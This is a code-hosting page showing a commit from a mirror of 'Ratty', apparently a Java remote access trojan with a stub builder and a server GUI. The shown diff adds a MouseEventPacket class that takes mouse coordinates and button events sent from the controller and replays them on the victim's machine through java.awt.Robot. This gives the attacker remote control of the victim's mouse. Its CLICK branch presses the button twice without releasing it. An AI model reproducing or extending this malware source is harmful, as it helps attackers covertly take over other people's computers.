mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
10 changed files with 177 additions and 19 deletions
-
BINRatty/res/menu_icons.png
-
15Ratty/src/de/sogomn/rat/Ratty.java
-
2Ratty/src/de/sogomn/rat/builder/StubBuilder.java
-
69Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
65Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
-
4Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
-
4Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
25Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
3Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
Before Width: 96 | Height: 96 | Size: 766 B After Width: 96 | Height: 96 | Size: 692 B |
@ -0,0 +1,69 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.awt.AWTException; |
|||
import java.awt.Robot; |
|||
import java.awt.event.MouseEvent; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class MouseEventPacket implements IPacket { |
|||
|
|||
private int x, y; |
|||
private int button; |
|||
private byte strokeType; |
|||
|
|||
public static final byte PRESS = 0; |
|||
public static final byte RELEASE = 1; |
|||
public static final byte CLICK = 2; |
|||
|
|||
public MouseEventPacket(final int x, final int y, final int button, final byte strokeType) { |
|||
this.x = x; |
|||
this.y = y; |
|||
this.button = button; |
|||
this.strokeType = strokeType; |
|||
} |
|||
|
|||
public MouseEventPacket() { |
|||
this(0, 0, MouseEvent.NOBUTTON, CLICK); |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
client.writeInt(x); |
|||
client.writeInt(y); |
|||
client.writeInt(button); |
|||
client.writeByte(strokeType); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
x = client.readInt(); |
|||
y = client.readInt(); |
|||
button = client.readInt(); |
|||
strokeType = client.readByte(); |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
try { |
|||
final Robot rob = new Robot(); |
|||
|
|||
if (strokeType == PRESS) { |
|||
rob.mouseMove(x, y); |
|||
rob.mousePress(button); |
|||
} else if (strokeType == RELEASE) { |
|||
rob.mouseMove(x, y); |
|||
rob.mouseRelease(button); |
|||
} else if (strokeType == CLICK) { |
|||
rob.mouseMove(x, y); |
|||
rob.mousePress(button); |
|||
rob.mousePress(button); |
|||
} |
|||
} catch (final IllegalArgumentException ex) { |
|||
System.err.println("No valid mouse button"); |
|||
} catch (final AWTException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue